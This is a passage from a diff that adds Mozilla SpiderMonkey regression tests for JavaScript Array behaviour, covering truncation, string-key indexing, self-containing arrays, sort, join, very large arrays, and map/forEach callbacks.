+ * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+/*
+ * Date: 27 September 2001
+ *
+ * SUMMARY: Performance: truncating even very large arrays should be fast!
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=101964
+ *
+ * Adjust this testcase if necessary. The FAST constant defines
+ * an upper bound in milliseconds for any truncation to take.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 101964;
+var summary = 'Performance: truncating even very large arrays should be fast!';
+var BIG = 10000000;
+var LITTLE = 10;
+var FAST = 50; // array truncation should be 50 ms or less to pass the test
+var MSG_FAST = 'Truncation took less than ' + FAST + ' ms';
+var MSG_SLOW = 'Truncation took ';
+var MSG_MS = ' ms';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+
+status = inSection(1);
+var arr = Array(BIG);
+var start = new Date();
+arr.length = LITTLE;
+actual = elapsedTime(start);
+expect = FAST;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function elapsedTime(startTime)
+{
+ return new Date() - startTime;
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = isThisFast(actual);
+ expectedvalues[UBound] = isThisFast(expect);
+ UBound++;
+}
+
+
+function isThisFast(ms)
+{
+ if (ms <= FAST)
+ return MSG_FAST;
+ return MSG_SLOW + ms + MSG_MS;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Array/regress-107138.js b/js/src/tests/non262/Array/regress-107138.js
new file mode 100644
index 0000000000..26d311fb5f
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-107138.js
@@ -0,0 +1,174 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 29 October 2001
+ *
+ * SUMMARY: Regression test for bug 107138
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=107138
+ *
+ * The bug: arr['1'] == undefined instead of arr['1'] == 'one'.
+ * The bug was intermittent and did not always occur...
+ *
+ * The cnSTRESS constant defines how many times to repeat this test.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var cnSTRESS = 10;
+var cnDASH = '-';
+var BUGNUMBER = 107138;
+var summary = 'Regression test for bug 107138';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var arr = ['zero', 'one', 'two', 'three', 'four', 'five',
+ 'six', 'seven', 'eight', 'nine', 'ten'];
+
+
+// This bug was intermittent. Stress-test it.
+for (var j=0; j<cnSTRESS; j++)
+{
+ status = inSection(j + cnDASH + 1);
+ actual = arr[0];
+ expect = 'zero';
+ addThis();
+
+ status = inSection(j + cnDASH + 2);
+ actual = arr['0'];
+ expect = 'zero';
+ addThis();
+
+ status = inSection(j + cnDASH + 3);
+ actual = arr[1];
+ expect = 'one';
+ addThis();
+
+ status = inSection(j + cnDASH + 4);
+ actual = arr['1'];
+ expect = 'one';
+ addThis();
+
+ status = inSection(j + cnDASH + 5);
+ actual = arr[2];
+ expect = 'two';
+ addThis();
+
+ status = inSection(j + cnDASH + 6);
+ actual = arr['2'];
+ expect = 'two';
+ addThis();
+
+ status = inSection(j + cnDASH + 7);
+ actual = arr[3];
+ expect = 'three';
+ addThis();
+
+ status = inSection(j + cnDASH + 8);
+ actual = arr['3'];
+ expect = 'three';
+ addThis();
+
+ status = inSection(j + cnDASH + 9);
+ actual = arr[4];
+ expect = 'four';
+ addThis();
+
+ status = inSection(j + cnDASH + 10);
+ actual = arr['4'];
+ expect = 'four';
+ addThis();
+
+ status = inSection(j + cnDASH + 11);
+ actual = arr[5];
+ expect = 'five';
+ addThis();
+
+ status = inSection(j + cnDASH + 12);
+ actual = arr['5'];
+ expect = 'five';
+ addThis();
+
+ status = inSection(j + cnDASH + 13);
+ actual = arr[6];
+ expect = 'six';
+ addThis();
+
+ status = inSection(j + cnDASH + 14);
+ actual = arr['6'];
+ expect = 'six';
+ addThis();
+
+ status = inSection(j + cnDASH + 15);
+ actual = arr[7];
+ expect = 'seven';
+ addThis();
+
+ status = inSection(j + cnDASH + 16);
+ actual = arr['7'];
+ expect = 'seven';
+ addThis();
+
+ status = inSection(j + cnDASH + 17);
+ actual = arr[8];
+ expect = 'eight';
+ addThis();
+
+ status = inSection(j + cnDASH + 18);
+ actual = arr['8'];
+ expect = 'eight';
+ addThis();
+
+ status = inSection(j + cnDASH + 19);
+ actual = arr[9];
+ expect = 'nine';
+ addThis();
+
+ status = inSection(j + cnDASH + 20);
+ actual = arr['9'];
+ expect = 'nine';
+ addThis();
+
+ status = inSection(j + cnDASH + 21);
+ actual = arr[10];
+ expect = 'ten';
+ addThis();
+
+ status = inSection(j + cnDASH + 22);
+ actual = arr['10'];
+ expect = 'ten';
+ addThis();
+}
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Array/regress-108440.js b/js/src/tests/non262/Array/regress-108440.js
new file mode 100644
index 0000000000..d83c4164ac
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-108440.js
@@ -0,0 +1,77 @@
+// |reftest| skip-if(Android) -- bug - nsIDOMWindow.crypto throws NS_ERROR_NOT_IMPLEMENTED on Android
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 30 October 2001
+ * SUMMARY: Regression test for bug 108440
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=108440
+ *
+ * We shouldn't crash trying to add an array as an element of itself (!)
+ *
+ * Brendan: "...it appears that Array.prototype.toString is unsafe,
+ * and what's more, ECMA-262 Edition 3 has no helpful words about
+ * avoiding recursive death on a cycle."
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 108440;
+var summary = "Shouldn't crash trying to add an array as an element of itself";
+var self = this;
+var temp = '';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/*
+ * Explicit test:
+ */
+var a=[];
+temp = (a[a.length]=a);
+
+/*
+ * Implicit test (one of the properties of |self| is |a|)
+ */
+a=[];
+for(var prop in self)
+{
+ temp = prop;
+ temp = (a[a.length] = self[prop]);
+}
+
+/*
+ * Stressful explicit test
+ */
+a=[];
+for (var i=0; i<10; i++)
+{
+ a[a.length] = a;
+}
+
+/*
+ * Test toString()
+ */
+a=[];
+for (var i=0; i<10; i++)
+{
+ a[a.length] = a.toString();
+}
+
+/*
+ * Test toSource() - but Rhino doesn't have this, so try...catch it
+ */
+a=[];
+try
+{
+ for (var i=0; i<10; i++)
+ {
+ a[a.length] = a.toSource();
+ }
+}
+catch(e)
+{
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/Array/regress-130451.js b/js/src/tests/non262/Array/regress-130451.js
new file mode 100644
index 0000000000..3ccf3d9dff
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-130451.js
@@ -0,0 +1,182 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 25 Mar 2002
+ * SUMMARY: Array.prototype.sort() should not (re-)define .length
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=130451
+ *
+ * From the ECMA-262 Edition 3 Final spec:
+ *
+ * NOTE: The sort function is intentionally generic; it does not require that
+ * its |this| value be an Array object. Therefore, it can be transferred to
+ * other kinds of objects for use as a method. Whether the sort function can
+ * be applied successfully to a host object is implementation-dependent.
+ *
+ * The interesting parts of this testcase are the contrasting expectations for
+ * Brendan's test below, when applied to Array objects vs. non-Array objects.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 130451;
+var summary = 'Array.prototype.sort() should not (re-)define .length';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var arr = [];
+var cmp = new Function();
+
+
+/*
+ * First: test Array.prototype.sort() on Array objects
+ */
+status = inSection(1);
+arr = [0,1,2,3];
+cmp = function(x,y) {return x-y;};
+actual = arr.sort(cmp).length;
+expect = 4;
+addThis();
+
+status = inSection(2);
+arr = [0,1,2,3];
+cmp = function(x,y) {return y-x;};
+actual = arr.sort(cmp).length;
+expect = 4;
+addThis();
+
+status = inSection(3);
+arr = [0,1,2,3];
+cmp = function(x,y) {return x-y;};
+arr.length = 1;
+actual = arr.sort(cmp).length;
+expect = 1;
+addThis();
+
+/*
+ * This test is by Brendan. Setting arr.length to
+ * 2 and then 4 should cause elements to be deleted.
+ */
+arr = [0,1,2,3];
+cmp = function(x,y) {return x-y;};
+arr.sort(cmp);
+
+status = inSection(4);
+actual = arr.join();
+expect = '0,1,2,3';
+addThis();
+
+status = inSection(5);
+actual = arr.length;
+expect = 4;
+addThis();
+
+status = inSection(6);
+arr.length = 2;
+actual = arr.join();
+expect = '0,1';
+addThis();
+
+status = inSection(7);
+arr.length = 4;
+actual = arr.join();
+expect = '0,1,,'; //<---- see how 2,3 have been lost
+addThis();
+
+
+
+/*
+ * Now test Array.prototype.sort() on non-Array objects
+ */
+status = inSection(8);
+var obj = new Object();
+obj.sort = Array.prototype.sort;
+obj.length = 4;
+obj[0] = 0;
+obj[1] = 1;
+obj[2] = 2;
+obj[3] = 3;
+cmp = function(x,y) {return x-y;};
+actual = obj.sort(cmp).length;
+expect = 4;
+addThis();
+
+
+/*
+ * Here again is Brendan's test. Unlike the array case
+ * above, the setting of obj.length to 2 and then 4
+ * should NOT cause elements to be deleted
+ */
+obj = new Object();
+obj.sort = Array.prototype.sort;
+obj.length = 4;
+obj[0] = 3;
+obj[1] = 2;
+obj[2] = 1;
+obj[3] = 0;
+cmp = function(x,y) {return x-y;};
+obj.sort(cmp); //<---- this is what triggered the buggy behavior below
+obj.join = Array.prototype.join;
+
+status = inSection(9);
+actual = obj.join();
+expect = '0,1,2,3';
+addThis();
+
+status = inSection(10);
+actual = obj.length;
+expect = 4;
+addThis();
+
+status = inSection(11);
+obj.length = 2;
+actual = obj.join();
+expect = '0,1';
+addThis();
+
+/*
+ * Before this bug was fixed, |actual| held the value '0,1,,'
+ * as in the Array-object case at top. This bug only occurred
+ * if Array.prototype.sort() had been applied to |obj|,
+ * as we have done higher up.
+ */
+status = inSection(12);
+obj.length = 4;
+actual = obj.join();
+expect = '0,1,2,3';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Array/regress-154338.js b/js/src/tests/non262/Array/regress-154338.js
new file mode 100644
index 0000000000..e24610ea7b
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-154338.js
@@ -0,0 +1,87 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 26 June 2002
+ * SUMMARY: Testing array.join() when separator is a variable, not a literal
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=154338
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 154338;
+var summary = 'Test array.join() when separator is a variable, not a literal';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Note that x === 'H' and y === 'ome'.
+ *
+ * Yet for some reason, using |x| or |y| as the separator
+ * in arr.join() was causing out-of-memory errors, whereas
+ * using the literals 'H', 'ome' was not -
+ *
+ */
+var x = 'Home'[0];
+var y = ('Home'.split('H'))[1];
+
+
+status = inSection(1);
+var arr = Array('a', 'b');
+actual = arr.join('H');
+expect = 'aHb';
+addThis();
+
+status = inSection(2);
+arr = Array('a', 'b');
+actual = arr.join(x);
+expect = 'aHb';
+addThis();
+
+status = inSection(3);
+arr = Array('a', 'b');
+actual = arr.join('ome');
+expect = 'aomeb';
+addThis();
+
+status = inSection(4);
+arr = Array('a', 'b');
+actual = arr.join(y);
+expect = 'aomeb';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Array/regress-157652.js b/js/src/tests/non262/Array/regress-157652.js
new file mode 100644
index 0000000000..32996ca629
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-157652.js
@@ -0,0 +1,117 @@
+// |reftest| skip-if(xulRuntime.XPCOMABI.match(/x86_64|aarch64|ppc64|ppc64le|s390x|mips64|loongarch64|riscv64/)||Android) -- No test results
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 16 July 2002
+ * SUMMARY: Testing that Array.sort() doesn't crash on very large arrays
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=157652
+ *
+ * How large can a JavaScript array be?
+ * ECMA-262 Ed.3 Final, Section 15.4.2.2 : new Array(len)
+ *
+ * This states that |len| must be a a uint32_t (unsigned 32-bit integer).
+ * Note the UBound for uint32's is 2^32 -1 = 0xFFFFFFFF = 4,294,967,295.
+ *
+ * Check:
+ * js> var arr = new Array(0xFFFFFFFF)
+ * js> arr.length
+ * 4294967295
+ *
+ * js> var arr = new Array(0x100000000)
+ * RangeError: invalid array length
+ *
+ *
+ * We'll try the largest possible array first, then a couple others.
+ * We're just testing that we don't crash on Array.sort().
+ *
+ * Try to be good about memory by nulling each array variable after it is
+ * used. This will tell the garbage collector the memory is no longer needed.
+ *
+ * As of 2002-08-13, the JS shell runs out of memory no matter what we do,
+ * when trying to sort such large arrays.
+ *
+ * We only want to test that we don't CRASH on the sort. So it will be OK
+ * if we get the JS "out of memory" error. Note this terminates the test
+ * with exit code 3. Therefore we put
+ *
+ * |expectExitCode(3);|
+ *
+ * The only problem will arise if the JS shell ever DOES have enough memory
+ * to do the sort. Then this test will terminate with the normal exit code 0
+ * and fail.
+ *
+ * Right now, I can't see any other way to do this, because "out of memory"
+ * is not a catchable error: it cannot be trapped with try...catch.
+ *
+ *
+ * FURTHER HEADACHE: Rhino can't seem to handle the largest array: it hangs.
+ * So we skip this case in Rhino. Here is correspondence with Igor Bukanov.
+ * He explains that Rhino isn't actually hanging; it's doing the huge sort:
+ *
+ * Philip Schwartau wrote:
+ *
+ * > Hi,
+ * >
+ * > I'm getting a graceful OOM message on trying to sort certain large
+ * > arrays. But if the array is too big, Rhino simply hangs. Note that ECMA
+ * > allows array lengths to be anything less than Math.pow(2,32), so the
+ * > arrays I'm sorting are legal.
+ * >
+ * > Note below, I'm getting an instantaneous OOM error on arr.sort() for LEN
+ * > = Math.pow(2, 30). So shouldn't I also get one for every LEN between
+ * > that and Math.pow(2, 32)? For some reason, I start to hang with 100% CPU
+ * > as LEN hits, say, Math.pow(2, 31) and higher. SpiderMonkey gives OOM
+ * > messages for all of these. Should I file a bug on this?
+ *
+ * Igor Bukanov wrote:
+ *
+ * This is due to different sorting algorithm Rhino uses when sorting
+ * arrays with length > Integer.MAX_VALUE. If length can fit Java int,
+ * Rhino first copies internal spare array to a temporary buffer, and then
+ * sorts it, otherwise it sorts array directly. In case of very spare
+ * arrays, that Array(big_number) generates, it is rather inefficient and
+ * generates OutOfMemory if length fits int. It may be worth in your case
+ * to optimize sorting to take into account array spareness, but then it
+ * would be a good idea to file a bug about ineficient sorting of spare
+ * arrays both in case of Rhino and SpiderMonkey as SM always uses a
+ * temporary buffer.
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 157652;
+var summary = "Testing that Array.sort() doesn't crash on very large arrays";
+var expect = 'No Crash';
+var actual = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+try
+{
+ var a1=Array(0xFFFFFFFF);
+ a1.sort();
+ a1 = null;
+
+ var a2 = Array(0x40000000);
+ a2.sort();
+ a2=null;
+
+ var a3=Array(0x10000000/4);
+ a3.sort();
+ a3=null;
+}
+catch(ex)
+{
+ // handle changed 1.9 branch behavior. see bug 422348
+ expect = 'InternalError: allocation size overflow';
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-178722.js b/js/src/tests/non262/Array/regress-178722.js
new file mode 100644
index 0000000000..49c63bcbfe
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-178722.js
@@ -0,0 +1,127 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 06 November 2002
+ * SUMMARY: arr.sort() should not output |undefined| when |arr| is empty
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=178722
+ *
+ * ECMA-262 Ed.3: 15.4.4.11 Array.prototype.sort (comparefn)
+ *
+ * 1. Call the [[Get]] method of this object with argument "length".
+ * 2. Call ToUint32(Result(1)).
+ * 3. Perform an implementation-dependent sequence of calls to the [[Get]],
+ * [[Put]], and [[Delete]] methods of this object, etc. etc.
+ * 4. Return this object.
+ *
+ *
+ * Note that sort() is done in-place on |arr|. In other words, sort() is a
+ * "destructive" method rather than a "functional" method. The return value
+ * of |arr.sort()| and |arr| are the same object.
+ *
+ * If |arr| is an empty array, the return value of |arr.sort()| should be
+ * an empty array, not the value |undefined| as was occurring in bug 178722.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 178722;
+var summary = 'arr.sort() should not output |undefined| when |arr| is empty';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var arr;
+
+
+// create empty array or pseudo-array objects in various ways
+var arr1 = Array();
+var arr2 = new Array();
+var arr3 = [];
+var arr4 = [1];
+arr4.pop();
+
+
+status = inSection(1);
+arr = arr1.sort();
+actual = arr instanceof Array && arr.length === 0 && arr === arr1;
+expect = true;
+addThis();
+
+status = inSection(2);
+arr = arr2.sort();
+actual = arr instanceof Array && arr.length === 0 && arr === arr2;
+expect = true;
+addThis();
+
+status = inSection(3);
+arr = arr3.sort();
+actual = arr instanceof Array && arr.length === 0 && arr === arr3;
+expect = true;
+addThis();
+
+status = inSection(4);
+arr = arr4.sort();
+actual = arr instanceof Array && arr.length === 0 && arr === arr4;
+expect = true;
+addThis();
+
+// now do the same thing, with non-default sorting:
+function g() {return 1;}
+
+status = inSection('1a');
+arr = arr1.sort(g);
+actual = arr instanceof Array && arr.length === 0 && arr === arr1;
+expect = true;
+addThis();
+
+status = inSection('2a');
+arr = arr2.sort(g);
+actual = arr instanceof Array && arr.length === 0 && arr === arr2;
+expect = true;
+addThis();
+
+status = inSection('3a');
+arr = arr3.sort(g);
+actual = arr instanceof Array && arr.length === 0 && arr === arr3;
+expect = true;
+addThis();
+
+status = inSection('4a');
+arr = arr4.sort(g);
+actual = arr instanceof Array && arr.length === 0 && arr === arr4;
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Array/regress-255555.js b/js/src/tests/non262/Array/regress-255555.js
new file mode 100644
index 0000000000..e4b2814b21
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-255555.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 255555;
+var summary = 'Array.prototype.sort(comparefn) never passes undefined to comparefn';
+var actual = 'not undefined';
+var expect = 'not undefined';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function comparefn(a,b)
+{
+ if (typeof a == 'undefined')
+ {
+ actual = 'undefined';
+ return 1;
+ }
+ if (typeof b == 'undefined')
+ {
+ actual = 'undefined';
+ return -1;
+ }
+ return a - b;
+}
+
+var arry = [ 1, 2, undefined ].sort(comparefn)
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-290592.js b/js/src/tests/non262/Array/regress-290592.js
new file mode 100644
index 0000000000..788459a4ef
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-290592.js
@@ -0,0 +1,661 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 290592;
+var summary = 'Array extras: forEach, indexOf, filter, map';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// Utility functions
+
+function identity(v, index, array)
+{
+ reportCompare(v, array[index], 'identity: check callback argument consistency');
+ return v;
+}
+
+function mutate(v, index, array)
+{
+ reportCompare(v, array[index], 'mutate: check callback argument consistency');
+ if (index == 0)
+ {
+ array[1] = 'mutated';
+ delete array[2];
+ array.push('not visited');
+ }
+ return v;
+}
+
+function mutateForEach(v, index, array)
+{
+ reportCompare(v, array[index], 'mutateForEach: check callback argument consistency');
+ if (index == 0)
+ {
+ array[1] = 'mutated';
+ delete array[2];
+ array.push('not visited');
+ }
+ actual += v + ',';
+}
+
+function makeUpperCase(v, index, array)
+{
+ reportCompare(v, array[index], 'makeUpperCase: check callback argument consistency');
+ try
+ {
+ return v.toUpperCase();
+ }
+ catch(e)
+ {
+ }
+ return v;
+}
+
+
+function concat(v, index, array)
+{
+ reportCompare(v, array[index], 'concat: check callback argument consistency');
+ actual += v + ',';
+}
+
+
+function isUpperCase(v, index, array)
+{
+ reportCompare(v, array[index], 'isUpperCase: check callback argument consistency');
+ try
+ {
+ return v == v.toUpperCase();
+ }
+ catch(e)
+ {
+ }
+ return false;
+}
+
+function isString(v, index, array)
+{
+ reportCompare(v, array[index], 'isString: check callback argument consistency');
+ return typeof v == 'string';
+}
+
+
+// callback object.
+function ArrayCallback(state)
+{
+ this.state = state;
+}
+
+ArrayCallback.prototype.makeUpperCase = function (v, index, array)
+{
+ reportCompare(v, array[index], 'ArrayCallback.prototype.makeUpperCase: check callback argument consistency');
+ try
+ {
+ return this.state ? v.toUpperCase() : v.toLowerCase();
+ }
+ catch(e)
+ {
+ }
+ return v;
+};
+
+ArrayCallback.prototype.concat = function(v, index, array)
+{
+ reportCompare(v, array[index], 'ArrayCallback.prototype.concat: check callback argument consistency');
+ actual += v + ',';
+};
+
+ArrayCallback.prototype.isUpperCase = function(v, index, array)
+{
+ reportCompare(v, array[index], 'ArrayCallback.prototype.isUpperCase: check callback argument consistency');
+ try
+ {
+ return this.state ? true : (v == v.toUpperCase());
+ }
+ catch(e)
+ {
+ }
+ return false;
+};
+
+ArrayCallback.prototype.isString = function(v, index, array)
+{
+ reportCompare(v, array[index], 'ArrayCallback.prototype.isString: check callback argument consistency');
+ return this.state ? true : (typeof v == 'string');
+};
+
+function dumpError(e)
+{
+ var s = e.name + ': ' + e.message +
+ ' File: ' + e.fileName +
+ ', Line: ' + e.lineNumber +
+ ', Stack: ' + e.stack;
+ return s;
+}
+
+var obj;
+var strings = ['hello', 'Array', 'WORLD'];
+var mixed = [0, '0', 0];
+var sparsestrings = new Array();
+sparsestrings[2] = 'sparse';
+
+if ('map' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:map
+
+ // test Array.map
+
+ // map has 1 required argument
+ expect = 1;
+ actual = Array.prototype.map.length;
+ reportCompare(expect, actual, 'Array.prototype.map.length == 1');
+
+ // throw TypeError if no callback function specified
+ expect = 'TypeError';
+ try
+ {
+ strings.map();
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = e.name;
+ }
+ reportCompare(expect, actual, 'Array.map(undefined) throws TypeError');
+
+ try
+ {
+ // identity map
+ expect = 'hello,Array,WORLD';
+ actual = strings.map(identity).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: identity');
+
+
+ try
+ {
+ expect = 'hello,mutated,';
+ actual = strings.map(mutate).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: mutate');
+
+ strings = ['hello', 'Array', 'WORLD'];
+
+ try
+ {
+ // general map
+ expect = 'HELLO,ARRAY,WORLD';
+ actual = strings.map(makeUpperCase).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: uppercase');
+
+ try
+ {
+ // pass object method as map callback
+ expect = 'HELLO,ARRAY,WORLD';
+ var obj = new ArrayCallback(true);
+ actual = strings.map(obj.makeUpperCase, obj).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: uppercase with object callback');
+
+ try
+ {
+ expect = 'hello,array,world';
+ obj = new ArrayCallback(false);
+ actual = strings.map(obj.makeUpperCase, obj).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: lowercase with object callback');
+
+ try
+ {
+ // map on sparse arrays
+ expect = ',,SPARSE';
+ actual = sparsestrings.map(makeUpperCase).toString();
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.map: uppercase on sparse array');
+}
+
+if ('forEach' in Array.prototype)
+{
+// see http://developer-test.mozilla.org/docs/Core_JavaScript_1.5_Reference:Objects:Array:forEach
+
+ // test Array.forEach
+
+ // forEach has 1 required argument
+ expect = 1;
+ actual = Array.prototype.forEach.length;
+ reportCompare(expect, actual, 'Array.prototype.forEach.length == 1');
+
+ // throw TypeError if no callback function specified
+ expect = 'TypeError';
+ try
+ {
+ strings.forEach();
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = e.name;
+ }
+ reportCompare(expect, actual, 'Array.forEach(undefined) throws TypeError');
+
+ try
+ {
+ // general forEach
+ expect = 'hello,Array,WORLD,';
+ actual = '';
+ strings.forEach(concat);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.forEach');
+
+ try
+ {
+ expect = 'hello,mutated,';
+ actual = '';
+ strings.forEach(mutateForEach);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.forEach: mutate');
+
+ strings = ['hello', 'Array', 'WORLD'];
+
+
+
+ try
+ {
+ // pass object method as forEach callback
+ expect = 'hello,Array,WORLD,';
+ actual = '';
+ obj = new ArrayCallback(true);
+ strings.forEach(obj.concat, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.forEach with object callback 1');
+
+ try
+ {
+ expect = 'hello,Array,WORLD,';
+ actual = '';
+ obj = new ArrayCallback(false);
+ strings.forEach(obj.concat, obj);
+ }
+ catch(e)
+ {
+ actual = dumpError(e);
+ }
+ reportCompare(expect, actual, 'Array.forEach with object callback 2');
+
+ try
+ {
+ // test forEach on sparse arrays
